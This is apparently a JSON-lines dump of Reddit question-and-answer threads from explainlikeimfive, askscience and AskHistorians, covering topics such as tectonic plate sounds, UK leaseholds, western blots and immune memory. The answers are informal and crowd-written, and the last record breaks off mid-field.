{"q_id": "2kvbyr", "title": "why does it feel like i'm being choked even when something is just barely touching my neck?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2kvbyr/eli5_why_does_it_feel_like_im_being_choked_even/", "answers": {"a_id": ["clp2fuw", "clp2ho7", "clp6q5t"], "score": [10, 5, 2], "text": ["I would venture a guess at natural defense mechanism. The throat/neck is one of, if not the most vulnerable parts of the human body and one of only a few which can cause death when applied only mild to moderate pressure to. \n\nIt would make perfect sense that our bodies know this and don't like it when it feels this weakness is being exploited.\n\nAnd addressing the clothes comments here. The brain has the power to ignore constants. If you leave your clothes on for long enough you forget about them, even though you are very aware of them initially. The same would apply to the neck like the rest of the body.", "It is to do with a reflex reaction. This is an innate action as a defence against predators. Your most vulnerable parts of your bodies are the most sensitive to being touched e.g. feet and neck. You will over react to something touching your throat because you don't want to be strangled.  ", "I've always associated it with claustrophobia... I commute on a bike and have lots of tight stuff on me, especially in the winter. When i get to work and I'm breathing a little hard, my coat collar / helmet strap feel like a noose is around my neck and my backpack makes it feel like I have an elephant sitting on my chest. I also get this when I'm swimming, I'm a good swimmer and can go kilometers, but when I got into my 40s my panic levels began to go off the scale at the first hint of stress in my breathing. \n\nblah.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3gx9u5", "title": "how does opengl work?", "selftext": "I understand that it has to do with rendering graphics, but that's about it. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3gx9u5/eli5_how_does_opengl_work/", "answers": {"a_id": ["cu2c6jt"], "score": [4], "text": ["OpenGL just defines a standard set of interfaces that programs use to communicate with video card drivers.  By itself, it doesn't really *do* anything, it just standardizes the data formats  &  function names used when a program wants to say \"draw this shape here  &  make it this color\".\n\nAll the actual work is done inside the video driver  &  on the card."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "zt14f", "title": "ergodic hypothesis", "selftext": "thanks!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/zt14f/eli5_ergodic_hypothesis/", "answers": {"a_id": ["c67hbe3"], "score": [3], "text": ["Not sure if I can answer this in an ELI5 way, but I'll try.  The way I like to think about it is as a trade-off between time and space.  If you can start your system at any random spot in space and then let it run, how it evolves through time also looks random.  \n\nLet's say you put an ant on a table and let it walk around.  As long as you let it walk around long enough, it can end up anywhere on the table.  In fact, if you were to watch it long enough, you'd see it going to all parts of the table.  So the path that it takes looks random too. \n\nThis is what I meant by a trade-off between space and time:  You could have put the ant down anywhere on the table, so it starts at a random spot in space.  As long as you watch it long enough, it can walk to anywhere on the table, so its position looks random in time."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "28ucit", "title": "What is the role of the primary and secondary antibodies in a western blot?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/28ucit/what_is_the_role_of_the_primary_and_secondary/", "answers": {"a_id": ["ciekppi"], "score": [6], "text": ["The primary antibody labels the protein of interest, but, especially in experiments requiring Western, is probably quite hard to come by. The secondary antibody is usually a widely available antibody specially designed to target a generic portion of the primary antibody (generally the Fc domain) and includes a pigment so it can be visualized either directly (eg, [DAB](_URL_0_)) or [fluorescently](_URL_1_). The more general thing to understand is [immunohistochemistry](_URL_2_), which isn't specific to Western."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Diaminobenzidine", "https://en.wikipedia.org/wiki/Fluorophore", "https://en.wikipedia.org/wiki/Immunohistochemistry#Target_antigen_detection_methods"]]}
{"q_id": "cm04h9", "title": "why do people often feel depressed after parties?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cm04h9/eli5_why_do_people_often_feel_depressed_after/", "answers": {"a_id": ["evz02i6", "evz1u8k"], "score": [2, 8], "text": ["I can\u2019t explain it for other people, but for me, because I\u2019m so introverted, if I do go out to a party or to hang out with friends, it takes so much energy out of me, and my anxiety is on high alert the entire time, so when I get home, I\u2019m glad to be home, but I used up all the positive emotions I have. I just need a little recharge. That was a very long sentence.", "You've been running on social adrenaline for the last few hours with nearly constant interaction and reacting to stimulus everywhere around you. Eventually you get home and all that comes crashing down. In essence you're just tired: physically and mentally. You had a lot of fun, but when everything is said and done and you're back home where you can properly relax your body finally notices the effects of all that external stress.\n\nOf course the fact you've probably been drinking alcohol isn't going to help much either."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3fs9kd", "title": "where does the word \"ruthless\" come from? is there a word known as \"ruthful\" or a word known as \"ruth\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3fs9kd/eli5_where_does_the_word_ruthless_come_from_is/", "answers": {"a_id": ["ctrgb72", "ctrggpd", "ctrggz0", "ctrke4c"], "score": [21, 3, 2, 2], "text": [" > ruthless (adj.) \n\n > early 14c., from reuthe \"pity, compassion\" (see ruth) + -less. Ruthful (early 13c.) has fallen from use since late 17c. except as a deliberate archaism. Related: Ruthlessly; ruthlessness.\n\n > ruth (n.) \n  \n > \"sorrow for the misery of another; repentance, regret,\" c. 1200, ruthe, from Old Norse hrygg\u00f0 \"ruth, sorrow,\" from hryggr \"sorrowful, grieved\" (see rue (v.)) + Proto-Germanic abstract noun suffix *-itho (see -th (2)). Or else formed in English from reuwen \"to rue\" on the model of true/truth, etc. The Old English word was rue (n.2).\n\n_URL_0_", "I see the question is already answered, but I'll pitch in from my new favorite dictionary, the 1913 edition of Webster's.  \n\n1. Sorrow for the misery of another; pity; tenderness. [Poetic] They weep for ruth.\" Chaucer. Have ruth of the poor.\" Piers Plowman.\n\nTo stir up gentle ruth, Both for her noble blood, and for her tender youth. Spenser.\n\n2. That which causes pity or compassion; misery; distress; a pitiful. [Obs.]\n\nIt had been hard this ruth for to see. Chaucer.\n\nWith wretched miseries and woeful ruth. Spenser.", "Yep. Both of those words exist, even if they're much less common than / not as well known as ruthless. I'd say the root word, \"rue,\" as in \"You'll rue the day...\" is a lot more common. Definitions are almost identical too.", "Yes there is!\n\nRuth means to feel pity or remorse, which comes from the word \"rue\" (to regret)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.etymonline.com/index.php?allowed_in_frame=0&amp;search=ruthless&amp;searchmode=none"], [], [], []]}
{"q_id": "9d34ge", "title": "what is meant by a company\u2019s market cap?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9d34ge/eli5_what_is_meant_by_a_companys_market_cap/", "answers": {"a_id": ["e5f34bp"], "score": [2], "text": ["A \"market capitalization\" is essentially how much a company is worth according to the stock market.  It is calculated by multiplying the total number of shares of a company's stock with the dollar value of said stock.\n\nTo make it easy, let's say you own a lemonade stand.  You decide you want to share the value of this lemonade stand so you split this lemonade stand into two whole shares.  You own one share, and you give someone else that other stare.  So now that lemonade stand has 2 shares outstanding.  Let's further say you sell one of those shares to someone for $100.  Well you are saying essentially that each of your lemonade stand's 2 shares are worth $100.  $100 * 2 shares = $200.\n\nThe stock market is essentially doing this in a global scale with millions of shares at a time."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1p4847", "title": "Why don't we hear the tectonic plates move?", "selftext": "With Earth containing 50+ tectonic plates, all of which constantly moving, shifting, adjusting, why don't we hear them? You'd think when the giant rock you're standing on rubs up against another giant rock, even slightly, you'd think that sound made would resonate into a deafening rumble. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1p4847/why_dont_we_hear_the_tectonic_plates_move/", "answers": {"a_id": ["ccymbot", "ccymj2l", "ccyn7ye", "ccyxy5l"], "score": [4, 48, 17, 3], "text": ["The pitch is far too low to hear. Just like how we can't hear really high pitch sounds, we can't hear really low pitch sounds either. Tectonic plates sliding past each other produces a really low frequency.", "Firstly, let's remember what a sound wave is - it's a pressure wave caused by vibration.\n\nThe thing with plate motions is that they are not simple ' this plate moves steadily in this direction, and this plate in another direction'.  The plate boundaries are not simple planar junctions - they are often highly complex zones, consisting of lots of sub-parralell fault and fracture systems. Take the San Andreas fault as an example. It's usually quoted as a 'typical' strike-slip transform plate boundary. The San Andreas fault is the one we define as separating the two continental plates, but there are quite literally thousands of other large significant faults surrounding it (and hundreds of thousands or more minor ones). Furthermore, the plate motion isn't even uniform. Have a look at this vector map showing relative plate motions in the area _URL_0_\n\nNow consider that those faults are not perfect vertical straight lines, but often have complex surface shapes and interactions, e.g. _URL_1_\n\nFinally, while the plate might have an average rate of motion, plates get more ductile with depth. Deformation happens on the surface as brittle failure. Once you're a few tens of kilometers down more ductile (folding and shearing) deformation can occur. By the time you reach the mantle the plates can move relatively 'easily'.\n\nAll this means that while we talk about average plate motions, in reality  - particularly near the surface - the motion occurs in fits and starts as brittle failures and releases of built up stress.  These failures are what we detect as earthquakes. And what's an earthquake? A vibration. The P waves of an earthqukae are a pressure wave, exactly the same thing as sound waves. The only difference is that the failure on the faults generates very low frequency waves that our ears can't detect. Seismometers certainly can though.", " > deafening rumble.\n\nThat sounds suspiciously like an earthquake to me.\n\nFor regular cases though, it's an issue of your ears not going low enough -- things that big oscillate at much lower frequencies than humans are capable of hearing.  Also, in most situations it is slow enough that you won't get loud rumbling, it's only when it happens quickly that that happens (see paragraph 1).", "Occasionally you can. When Krakatoa exploded it was from a plate suddenly snapping past another, it created the loudest sound in recorded history at over 180 dB. People over 2,200 miles away in Australia heard it "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://maps.unomaha.edu/maher/GEOL3300/week12/USGSSanAndreasGPS.gif", "http://maps.unomaha.edu/maher/GEOL3300/week15/flowerstructures.jpg"], [], []]}
{"q_id": "476xn1", "title": "During the middle ages, were there any strategic board games for more than two players?", "selftext": "I can find plenty of two player games, but I was wondering if there were any strategy-based games (excluding card games) that existed during the middle ages?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/476xn1/during_the_middle_ages_were_there_any_strategic/", "answers": {"a_id": ["d0ap3s1"], "score": [10], "text": ["Strategy boardgames like chess in the Middle Ages were played primarily by the literate - and hence relatively aristocratic - classes, so it's likely that the prevalence of two-player games reflected the difficulty in organizing strategy games with more than 2 players.\n\nThat said, there were a variety of multiplayer games such as Chataruji that had been invented in India by the Middle Ages period; which caused some 19th century historians to (wrongly) trace a link between these games and chess. So people somewhere in the Middle Ages time period were already playing multiplayer strategy games; we just don't have evidence of it happening in Europe.\n\nFinally, I would note that a four-player chess variant was independently invented in Europe by the 1880s, albeit it never caught on and is rarely played even today. It does, however, indicate that somebody in the Middle Ages may have fiddled with a multiplayer chess variant that did not survive to the present due to obscurity of documentation or lack of players.\n\nEdit: For clarity"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "14m5wh", "title": "Does commercial air travel have a significant physiological effect on the body? Is it common to feel exhausted after a long plane flight, and if so is there a known reason this is so?", "selftext": "I fly (as a passenger on commercial airlines, flight times upward of 2 hours or so) rather frequently, and so I've noticed that I normally feel very worn out and exhausted after a plane flight, regardless of my physical or mental condition going into the flight. I have heard from several people that they experience this tiredness as well, which leads me to believe this may be a universal experience. I was wondering if there are some specific factors introduced in a long plane flight that explain this psychological and physical tiredness. There are a few things I can think of right off the bat: the dry atmosphere of the passenger cabin (which leaves people feeling desiccated), the constant and loud engine noise and vibration of the plane, the extreme restriction of movement in the seats and the effects of maintaining an unmoving sitting position for a long period of time. I fly economy class, as do all of the people I have spoken to, and so I do not know if this tiredness occurs for people who fly first class or otherwise have more room and better conditions generally (for example, Air Force One or something of that sort). I do not believe that the tiredness can be attributed to jet lag, since I and the people I have talked to only experience a time difference of at most three hours.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/14m5wh/does_commercial_air_travel_have_a_significant/", "answers": {"a_id": ["c7edqmp"], "score": [3], "text": ["Ignore the downvotes, yes it does have a physiological affect in certain circumstances. Cabins are typically pressurized to the equivalent of anywhere between 5000-8000 ft. As a result the partial pressure of oxygen in your lung alveoli drops from around 110 to anywhere between 85-68, with a similar drop in your arterial oxygen partial pressure. Most people wont be too effected by this drop, but some are more sensitive than others and can experience symptoms of mild hypoxemia: fatigue, drowsiness, apathy.\n\n This is especially the case if you have a predisposing lung disease such as a form of COPD (emphysema, chronic bronchitis etc). In those patients, due to obstruction in the lungs, their partial pressures of oxygen have an already low baseline at sea level which is further reduced on flights. Many patients w/ severe COPD require oxygen on extended plane flights for this very reason."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4csoy2", "title": "What constitutes as \"bend in spacetime\"?", "selftext": "What exactly are the factors contributing to this phrase?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4csoy2/what_constitutes_as_bend_in_spacetime/", "answers": {"a_id": ["d1l8371"], "score": [14], "text": ["If I'm in flat Euclidean space, then the distance between two points, (a,b) and (c,d) is the square root of (a-c)^(2)+(b-d)^(2). If I'm on a sphere then this distance formula isn't valid. Instead, I can use this formula to find the distance between me and points in my immediate vicinity, then use this to find the distance between me and a point far away from me by adding together a whole bunch of these tiny distances, in a way determined how the space is curved.\n\nIf I'm in flat spacetime, then the squared \"distance\" between where I am now and me being in the same place 12 hours from now is -c^(2)43200s = -3.88x10^(21) meters away. The general formula for the spacetime distance, s, between \"point\" (a,b;t) and (a'b';t') is s^(2)=(a-a')^(2)+(b-b')^(2)-c^(2)(t-t')^(2). If I'm in \"curved\" space, then the general distance between two spacetime points is not given by this formula, but if we know how the space is \"curved\", the we can use this formula to find the distances between points in our immediate vicinity and glue all the tiny distances together, based on how the space is curved, to get the total distance.\n\n[See Here](_URL_0_) for more details."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Spacetime#Spacetime_intervals_in_flat_space"]]}
{"q_id": "6fdnw9", "title": "Why are there two Tripolis - one in Lebanon, and another in Libya?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6fdnw9/why_are_there_two_tripolis_one_in_lebanon_and/", "answers": {"a_id": ["dii2js9"], "score": [7], "text": ["Ultimately it's a sheer coincidence that the two have the same name but a very interesting one at that, Tripoli (Libya) was first founded as the colony of Oea by the Phoenicians, who came from what is now within modern Lebanon.\n\nTripoli (Lebanon) was also a Phoenician settlement as well under the name Athar. \n\nBoth cities eventually came under Greek and then Greco-Roman influence and it is through this that the modern variant Tripoli from the Greek Tripolis ( three cities) comes from.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "423wti", "title": "why were most presidents attorneys before taking office? what is it about the legal profession that creates so many leaders?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/423wti/eli5why_were_most_presidents_attorneys_before/", "answers": {"a_id": ["cz7fq7n", "cz7gdxx", "cz7gg8h", "cz7i6hs", "cz7vgor", "cz8arfe"], "score": [8, 2, 2, 2, 2, 2], "text": ["Our societies are founded on law; which if you think about it are just promises made by the general population to behave orderly (but of course we have the police for enforcement) - so to lead a society founded on law  &  order you have to be well versed in the laws which dictate how society conducts itself. Also the social circles of attorneys and politicians intersect often.", "It's not so much that attorneys make good leaders or are rich (doctors/surgeons could also say those things). It's more about President being the ultimate LAW job. Just how an athlete may aspire to win the Olympics after getting really good at their sport.", "A lawyers job is to speak convincingly in front of a crowd, know what to say, and more importantly what not to say.  These skills serve well in politics. ", "Laws are the rules of life and like any game, the better you know the rules, the better you play the game. Pick a simple game like Snakes and Ladders. A simple game that nearly anyone can play. Now something a little more complicated like Poker. More rules to memorize and even unwritten rules to follow. Most people can play but only some will do well. \n\nReady for the next level? How about some D & D? There are piles of manuals and rule books made up for styles of play. Know the abilities of wizards or elves? What you can or can't do? It can get complicated. Only the devoted are going to run their own campaigns. \n\nThe top challenge? Law. So complicated that there isn't a lawyer that knows every single law. It takes years of study just to understand how to read the rules of life and years more how to correctly apply them. Now getting into politics, you are talking about people that are adding new rules to the game, understanding how they will effect game play, who they help and who they hinder. \n\nThis is also how you get someone like Trump that has a lot of money who can afford to play the game but has never played the game much before so he spouts on about monitoring Muslims or deporting Mexicans. Legally he can't do that with out violating basic human rights so they rule changes he wants to make will not stand. ", "Legislation is about drafting and signing laws, understanding how laws work and how they're interpreted.  A lawyer will be much more qualified to become a politician, especially at the legislative level, than a random doctor or MBA.  With that in mind,  most people who want to become politicians understand this and get their law degree.  Most politicians start at the lowest rungs of state legislature or city councils, and work their way up to a congressional, senatorial, or gubenatorial run, where they are in a position to raise their national profile and gear up for a presidential run.  The rare exception are Mitt Romneys and Donald Trumps that go into politics through the backdoor.", "Actually, it tends to be that those with an interest in politics often study law - because politics is about two things.\n\n1. Democracy/Domestic Legislation/Running the country\n\n2. Diplomacy/International Relations.\n\nLegal professionals intersect with politics on a regular basis, because they're the ones interpreting the law that the politicians have written and arguing the interpretations in court.\n\nPoliticians have to consult lawyers to help them write laws, ensure they will be compatible with existing legislation and the constitution, etc.\n\nAs a result, those interested in politics often go and get a background in law, because they're going to spend a lot of time drafting, debating and voting on it!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "3vbcqs", "title": "It is a better strategy to attempt to appeal to the logical or emotional nature of a jury (or equivalent person(s)), given similar/equal strengths of each argument?", "selftext": "My intention is to ignore any counterargument by an outside party in this case (i.e. considering only the target party's reaction to your argument).\n\nStated more generally, is a person (or group of people) more likely to be susceptible to holes in an argument of logical vs. emotional nature?  Also, are they more likely to be swayed by equivalently compelling arguments of one type vs. another?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3vbcqs/it_is_a_better_strategy_to_attempt_to_appeal_to/", "answers": {"a_id": ["cxmbo62"], "score": [2], "text": ["This is a difficult question to answer because the line between the emotional and the logical is not clear cut. I am going to try and answer you by separating out affect and cognition based on their deliberative components. \n\nThink of affect and cognition as two separate sources of input driving us towards an attitude or decision. Consider affect as the sum of the jury's intuitions, automatic associations, and general feelings toward the question they are considering. Consider cognition as the mental processes that the members of the jury actively and deliberately engage when trying to sort out the information that they have been given. \n\nThe way these two processes are going to interact and the ultimate answer to your question is going to come down to the decision making strategy employed by the members of the jury. I suggest that individuals in the situation that you have described are likely to be engaging in deliberate cognitive processes and that these processes have a tendency to bias people against affective information even when that information is useful and relevant to the judgment that they are being asked to make. The reason for this bias is debated but generally it is attributed to the difficulty associated with verbalizing many types of affective information and the general consensus among many western thinkers regarding the usefulness/accuracy (or lack thereof) of affective information. Worded another way: when individuals are motivated to consciously consider their reasons for an attitude or decision there is strong evidence that they are particularly biased towards immediately salient and easily verbalizable information, often at the expense of other types of useful information.\n\nMy short answer to your question would be that your best bet is to rely on logical holes because people in this situation may be biased against using emotional information in their decision making even if that emotional information is relevant or important. \n\nHere are a few references if you are interested, also I research the interplay between affect and cognition and the specific way that the generation of reasons can alter attitude formation and maintenance. Reasons generation has been shown to decrease accuracy in some situations. Also, people who make decisions based on reasons that they have generated have been shown to be less happy with those choices at a later date. I think the key is realizing that both sources of information have a place in our decision making and attitude formation.\n\nThe last reference is a fairly long paper and its from 1977, but its still worth a read if you have the time and interest. Feel free to send me a message if you want to talk more about these effects.\n\nReferences: \n\n1) Dijksterhuis, A.,  &  Nordgren, L. F. (2006). A theory of unconscious thought. Perspectives on Psychological Science,\n1(2), 95\u2013109.\n\n2) Halberstadt, J.,  &  Hooton, K. (2008). The affect disruption hypothesis: The effect of analytic thought on the flu-\nency and appeal of art. Cognition and Emotion, 22, 964\u2013976.\n\n3) Halberstadt, J. B.,  &  Levine, G. L. (1999). Effects of reasons analysis on the accuracy of predicting basketball games.\nJournal of Applied Social Psychology, 29, 517\u2013530. \n\n4) Wilson, T. D., Kraft, D.,  &  Dunn, D. S. (1989b). The disruptive effects of explaining attitudes: The moderating effect of knowledge about the attitude object. Journal of Experimental Social Psychology, 25, 379\u2013400.\n\n5) Wilson, T. D., Lisle, D. J., Schooler, J. W., Hodges, S. D., Klaaren, K. J.,  &  LaFleur, S. J. (1993). Introspecting about reasons can reduce post-choice satisfaction. Personality  &  Social Psychology Bulletin, 19(3), 331\u2013339.\n\n6) Nisbett, R. E.,  &  Wilson, T. D. (1977). Telling more than we can know: Verbal reports on mental processes. Psy-\nchological Review, 84, 231\u2013259.\n\nEdit: changed 'out' to 'our' in the last line of my second to last paragraph before references."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2vv63x", "title": "what exactly is a leasehold and freehold in uk property? how is it possible for you to buy the leasehold but not the freehold on a house?", "selftext": "Confused by all this parasitic medieval bollocks!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2vv63x/eli5_what_exactly_is_a_leasehold_and_freehold_in/", "answers": {"a_id": ["col6sfs", "col6sm3"], "score": [2, 4], "text": ["Buying a leasehold is buying the right to use the land for a set period of time.  Often this is a hundred years or more.  Obviously the length of the freehold will affect the price you pay.  In addition you will be required to pay ground rent, this is often a very small amount each year.  If you buy a leasehold you are buying the right to use the land.    \nWith freehold you buy the land outright. It is yours forever.   ", "It would be unusual to buy a leasehold house.\n\nLeasehold properties are usually flats.\n\nThe freeholder owns the building, and the land on which the building is built.\n\nYou own a lease (it usually starts off at 125 years or 1000 years) on a particular property within that building. Basically, this means you rent your property on a 125 year or 1000 year contract, except that unlike a normal rental property, you actually own this lease and have the right to sell it to someone else.\n\nNormally when you own a leasehold property you have to pay a maintenance fee to a management company. This covers the cost of maintaining the building, paying the gardener, keeping the lift running, paying for the upkeep of the private gym and the cost of the concierge (obviously not all of these apply to all blocks of flats!)\n\nAdditionally, you have to pay ground-rent. This is literally just a rental fee. Some places charge a small annual fee, maybe \u00a3100 or so. Others charge what is known as a \"peppercorn fee\" - a nominal amount which would, once upon a time, have literally been a peppercorn, but now it's more likely to be \u00a31.\n\nIn contrast, if you own a freehold, then you own the land outright. You don't pay anyone anything unless you choose to, but of course you will need to pay to maintain your property unless you want it to fall apart."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "485vqg", "title": "would humans be able to function without laws or rules?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/485vqg/eli5_would_humans_be_able_to_function_without/", "answers": {"a_id": ["d0hawq1", "d0hax27"], "score": [5, 2], "text": ["Only if humans lived individually in isolation.\n\nOnce you have to deal with other humans, rules are necessary to define how to interact with other humans. This can be established with communication (\"Let's share this land together\"), negotiation (\"You get half of this land and I get the other half\"), or with force (\"This is all my land and you are my servant\").\n\nWhen people come together in larger numbers, you need more rules from a higher authority. These are laws and they allow people to live together in large numbers at the cost of more authority from a governing body.", "Yes of course. \n\nIf you are interested in the subject, the absence of law is referred to by most philosophers as the state of nature or the state of war.\n\nJohn Locke and Hobbes offer the two most taught viewpoints on the subject. Locke believes mankind facing uncertainty and barbarity in the state of nature gave up rights to form civil society. Hobbes the \"modern founder of the social contract tradition (stated); life in the state of nature is \" solitary, poor, nasty, brutish and short\".\n\nI would read john locke's second treatise on civil government. It is excellent."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5wmhra", "title": "why is crab meat sometimes sweet when other meats aren't?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5wmhra/eli5_why_is_crab_meat_sometimes_sweet_when_other/", "answers": {"a_id": ["debbnue"], "score": [3], "text": ["The taste of Crab meat is significantly sweeter than other meats probably because of the higher presence of \"sweet\" amino acids such as Glycine and Alanine. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4a9vnk", "title": "why is moisturizer so important for healthy skin?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4a9vnk/eli5_why_is_moisturizer_so_important_for_healthy/", "answers": {"a_id": ["d0ym8qn", "d0ymlvi", "d0ynvzt", "d0yrfsx"], "score": [11, 9, 6, 2], "text": ["It's not a health issue unless your skin is itchy or cracked. We just idolize youth, and plumping up the skin with moisture diminishes the extra texture that comes with age", "The sun damages your skin a lot, dries it out, starts causing wrinkles. Moisturize with Vitamin C creams/serums which can help slow down that process and repair daily damage. Always wear sunblock. You may claim moisturizers are bullcrap made by the beauty industry for money but i've been taking care of my skin since i was 13 and have really gotten into it within the last year and i continuously get complements daily about how good my skin and complexion are. Ever notice why women have smoother skin than men? its because women generally moisturize, men don't. \n\nEdit; **bull**crap not ball. And if you can't be bothered to moisturize your skin regularly the best thing you can do is wear sunblock whenever you are prolonged to sun exposure.", "While some people do genetically have dryer skin, regular washing using soap is one of the main causes of dry skin because it removes the natural oils from the skin. This is the reason that for example, many health professionals and other who have to wash their hands very frequently suffer from eczema. \n\nMoisturisers and skin creams attempt to rehydrate the skin and trap this under a greasy substance. There is some research that indicates that this may encourage the body to produce less skin oils and increase the reliance on moisturisers. There is also a suggestion that moisturisers are a significant cause of skin acne in adults. \n\nVitamins added to moisturisers are hokum. Firstly the definition of a vitamin is a substance that is part of a diet and absorbed orally. Secondly, \"vitamins\" are added to a skin creams in very small quantities and these degrade due to sunlight and oxygen.\n\nFinally, bear in mind the definition of a cosmetic is a substance that is applied externally to the body that changes the appearance or smell. It is illegal in most countries for a company to promote a cosmetic as having any health benefits - that is reserved for medicines, and these have much more stringent testing before being allowed onto the market. On the other hand, cosmetics sold in most countries do not need to be tested - the onus of product safety and performance is left with the manufacturer. ", "Moisturizer is important because if you don't buy it regularly, the companies that make it will go out of business."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "2a283c", "title": "Which is the appropriate statistical test?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2a283c/which_is_the_appropriate_statistical_test/", "answers": {"a_id": ["ciqrqlo", "ciqshj3"], "score": [12, 3], "text": ["Why is your data in ratios? If it is weight or something you can just use a t-test. \n\nIf you want to compare expected vs observed results use a chi-squared goodness of fit test.\n\nIs this just the weight of black sees compared to the weight of yellow? If so perform two tailed t-test. ", "This would probably be more appropriate for /r/HomeworkHelp, but /u/Surf_Science is right."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "45kz8k", "title": "Where is the information your immune system learns from vaccines stored inside the human body?", "selftext": "I know of CRISPR, does the human body deploy a similair mechanism? Or is it very different?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/45kz8k/where_is_the_information_your_immune_system/", "answers": {"a_id": ["czytfn4", "czytvk9"], "score": [12, 3], "text": ["In a way it is similar.  The parts of your genome that code for the receptors that recognize viruses (and bacteria, and pretty much anything else that is not supposed to be inside your body) are made up of very many copies of short segments called V, D and J segments.  When an immature immune cell is developing, it uses a process that selects one random V segment, one random D segment, and one random J segment, and cuts away all the DNA that lies between those segments to join them together.  Since there are lots of variant copies of each type of segment, and since the joining of the two segments together is \"messy\", every cell that does this ends up with a unique VDJ-containing receptor that recognizes a unique molecular pattern.\n\n\nWhen you get a vaccine (or when you encounter any foreign bit of something inside your body), bits of the virus (or whatever) are transported to your lymph nodes where all your immature immune cells bump into those bits.  If an immune cell happens to have the unique receptor that recognizes a bit (and we're talking 1-10 cells that might have this ability in your entire body), it starts multiplying and becomes \"activated\"... Basically doing all the stuff it needs to do to help your body get rid of whatever it is that binds to its receptor.\n\n\nAfter that, most of the newly activated cells die off, leaving a pool of ~a hundred to a few thousand cells behind that have the \"correct\" receptor that will recognize the virus (or whatever) in the future.  If you get infected, for example, by the same virus again, those 100-1000 cells will activate and start multiplying like before, but now since their starting with ~hundreds of cells vs. one or two cells, they can multiply and activate faster, eliminating the virus before it has time to spread.  That pool of leftover cells are called \"memory cells\" and they stay in your bloodstream/immune organs for years if not for the rest of your life.  They are the \"information storage\" of your immune system.\n\n\nTL;DR:  Your immune cells splice your genome in a way that gives each cell a unique \"randomized\" receptor.  If a cell with a unique receptor sees the thing that it's receptor binds to, it will make copies of itself.  The leftover copies are what \"remember\" your encounter with the vaccine/virus/whatever.\n\n\nThis is all a *really* general overview.  The entire system is much more complex, with mechanisms in place for editing already made receptors to better bind to viruses, mechanisms that allow you to target only \"bad\" things and not \"irrelevant\" or \"good\" things (incidentally when those mechanisms mess up, you get autoimmunity and allergies), and a bunch of other subtler but very important checks and balances.\n\n\nAuthority: I have my PhD in immunology", "It is quite different, but in a sense not completely different. It does involve editing of DNA, but only in a very specific subset of cells. It is however completely different genes that are edited, and the effect is carried out through entirely different means.\n\nWhen cells of our adaptive immune system encounter a pathogen (a vaccine often contains whole pathogens or parts of pathogens) they will start a cascade of very complex cell-to-cell interactions that ultimately results in them becoming further suited to neutralizing that specific pathogen. The cells that fail to hone their skills, or don't get good enough fast enough will undergo apoptosis - a form of cellular suicide.\n\nWhat we are left with at the end is a cell that is highly specialized and extremely efficient at combating a specific pathogen. This cell will start dividing like crazy - during an infection one cell clone can make up as much as 10-20% of the total number of immune cells (don't quote me on this figure, I seem to remember it from an old immunlogy textbook of mine). Some of the progeny of this division will not participate in the battle against the infection, but will due to processes that are yet to be understood rather become memory cells. These memory cells will be activated the next time the same pathogen rolls around. This way we save time by not having to go through the time consuming process of training immune cells. This is the reason why it often takes a couple days to a week to get healthy after an infection - the adaptive immune system is efficient and highly specialized, but not as quick as your innate immune system.\n\nIn short, immunologic memory isn't like other memory - it isn't stored anywhere in the conventional sense of the word. Rather the cells that participated in the inital response are still alive."]}, "title_urls": 